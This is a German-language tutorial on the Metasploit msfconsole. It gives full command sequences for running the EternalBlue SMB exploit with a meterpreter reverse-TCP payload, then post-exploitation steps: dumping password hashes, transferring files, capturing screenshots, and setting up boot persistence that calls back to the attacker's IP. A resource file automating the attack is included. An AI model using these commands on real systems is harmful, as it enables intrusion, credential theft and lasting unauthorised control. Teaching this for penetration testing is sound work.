Metasploit Framework
1. Starten der msfconsole
msfconsole
Um die Metasploit-Konsole zu starten, gibt man einfach den folgenden Befehl im Terminal ein:
$ msfconsole
Dies lädt die Hauptschnittstelle von Metasploit. Nach dem Start erscheint eine Begrüßungsmeldung mit einer Eingabeaufforderung (msf >
), an der du Befehle eingeben kannst.
2. Grundlagen der msfconsole
msfconsole
2.1 Hilfe anzeigen
Um alle verfügbaren Befehle und deren Beschreibung anzuzeigen, kannst du den folgenden Befehl nutzen:
msf > help
Dies zeigt eine Liste aller wichtigen Befehle der msfconsole
an.
2.2 Module durchsuchen und verwenden
Metasploit enthält eine Vielzahl von Modulen, die in folgende Kategorien unterteilt sind:
Exploits: Code, der Schwachstellen auf dem Zielsystem ausnutzt.
Payloads: Der Code, der nach einem erfolgreichen Exploit auf dem Zielsystem ausgeführt wird.
Encoders: Techniken, um Payloads zu verschleiern und der Erkennung zu entgehen.
Auxiliary Modules: Module, die zusätzliche Funktionen bieten, wie z.B. Scans, Fingerprinting oder DOS-Attacken.
2.3 Module durchsuchen
Um nach einem bestimmten Modul zu suchen, kannst du den Befehl search
verwenden. Zum Beispiel, um nach einem SMB-Exploit zu suchen:
msf > search smb
Die Ausgabe zeigt dir eine Liste aller Module, die mit SMB zu tun haben, zusammen mit deren Rang, Name und Beschreibung.
2.4 Module verwenden
Nachdem du ein passendes Modul gefunden hast, wähle es mit dem Befehl use
aus. Wenn du zum Beispiel den SMB-Exploit exploit/windows/smb/ms17_010_eternalblue
verwenden möchtest, führst du folgenden Befehl aus:
msf > use exploit/windows/smb/ms17_010_eternalblue
Die Eingabeaufforderung ändert sich dann auf das Modul:
msf exploit(ms17_010_eternalblue) >
2.5 Informationen zu einem Modul anzeigen
Um Informationen über das ausgewählte Modul anzuzeigen, benutze den Befehl info
:
msf exploit(ms17_010_eternalblue) > info
Dieser Befehl zeigt dir eine detaillierte Beschreibung des Moduls, die benötigten Optionen und mögliche Payloads.
3. Konfiguration und Ausführung eines Exploits
3.1 Ziele und Optionen festlegen
Jedes Modul hat spezifische Optionen, die konfiguriert werden müssen, z.B. die Ziel-IP-Adresse oder den Port. Diese Optionen kannst du mit dem Befehl show options
anzeigen:
msf exploit(ms17_010_eternalblue) > show options
Um eine bestimmte Option zu setzen, benutzt du den Befehl set
. Beispiel: Um die Ziel-IP-Adresse (RHOSTS
) auf 192.168.1.10
zu setzen, gibst du folgenden Befehl ein:
msf exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.10
3.2 Payloads festlegen
Nachdem die Optionen konfiguriert sind, musst du einen Payload auswählen. Du kannst dir die verfügbaren Payloads anzeigen lassen:
msf exploit(ms17_010_eternalblue) > show payloads
Wähle dann einen Payload aus. Zum Beispiel den Reverse-TCP-Payload:
msf exploit(ms17_010_eternalblue) > set PAYLOAD windows/meterpreter/reverse_tcp
Du kannst den Payload ebenfalls konfigurieren, z.B. die IP-Adresse (LHOST
) und den Port (LPORT
), auf dem du auf die Verbindung wartest:
msf exploit(ms17_010_eternalblue) > set LHOST 192.168.1.5
msf exploit(ms17_010_eternalblue) > set LPORT 4444
3.3 Exploit ausführen
Nachdem alle Optionen und Payloads gesetzt sind, kannst du den Exploit mit folgendem Befehl starten:
msf exploit(ms17_010_eternalblue) > exploit
Alternativ kannst du run
verwenden, das denselben Effekt hat:
msf exploit(ms17_010_eternalblue) > run
Wenn der Exploit erfolgreich ist, erhältst du eine Verbindung zum Zielsystem, z.B. eine Meterpreter-Shell, die dir erlaubt, weitere Kommandos auf dem Zielsystem auszuführen.
4. Post-Exploitation mit Meterpreter
Wenn du erfolgreich eine Meterpreter-Shell erlangt hast, kannst du viele nützliche Befehle ausführen, um das Zielsystem zu kontrollieren.
4.1 Wichtige Meterpreter-Befehle
sysinfo: Zeigt Informationen über das Zielsystem an.
meterpreter > sysinfo
getuid: Zeigt den Benutzer an, unter dem die Shell läuft.
meterpreter > getuid
upload/download: Dateien auf das Zielsystem hoch- oder herunterladen.
meterpreter > upload /local/path /remote/path meterpreter > download /remote/path /local/path
shell: Öffnet eine normale Command-Shell auf dem Zielsystem.
meterpreter > shell
screenshot: Erstellt einen Screenshot des Zielsystems.
meterpreter > screenshot
hashdump: Extrahiert die Passwort-Hashes des Zielsystems (Windows).
meterpreter > hashdump
4.2 Persistence und Beibehaltung der Kontrolle
Um eine persistente Verbindung zum Zielsystem einzurichten, kannst du verschiedene Module verwenden, die Metasploit bietet. Zum Beispiel kannst du den Meterpreter-Command persistence
nutzen, um bei jedem Neustart des Zielsystems eine Verbindung herzustellen.
msf > run persistence -U -i 5 -p 4444 -r 192.168.1.5
-U
: Startet beim Booten des Systems.-i 5
: Versucht alle 5 Sekunden, eine Verbindung herzustellen.-p 4444
: Verwendet den Port 4444.-r 192.168.1.5
: Verbindet sich zurück zu der IP des Angreifers.
5. Nützliche Befehle und Tipps
5.1 Sessions verwalten
Manchmal hast du mehrere Sitzungen gleichzeitig offen. Mit dem Befehl sessions
kannst du diese anzeigen und verwalten.
Alle Sitzungen anzeigen:
msf > sessions -l
Zu einer spezifischen Sitzung wechseln:
msf > sessions -i <session-id>
5.2 Jobs und Exploits im Hintergrund laufen lassen
Du kannst Exploits im Hintergrund laufen lassen, indem du exploit -j
verwendest. Dies ist nützlich, wenn du mehrere Exploits parallel laufen lassen möchtest:
msf exploit(ms17_010_eternalblue) > exploit -j
5.3 Automatisierung mit Resource Files
Du kannst eine Reihe von Befehlen in eine Datei schreiben und diese mit Metasploit ausführen lassen, um Arbeitsabläufe zu automatisieren. Zum Beispiel, um einen Scan oder Exploit-Angriff automatisch durchzuführen. Erstelle eine Datei, z.B. exploit.rc
, und füge folgende Befehle hinzu:
msf > use exploit/windows/smb/ms17_010_eternalblue
msf > set RHOSTS 192.168.1.10
msf > set PAYLOAD windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.1.5
msf > set LPORT 4444
msf > exploit
Dann kannst du das Resource-File in msfconsole
laden:
msf > resource /path/to/exploit.rc
Last updated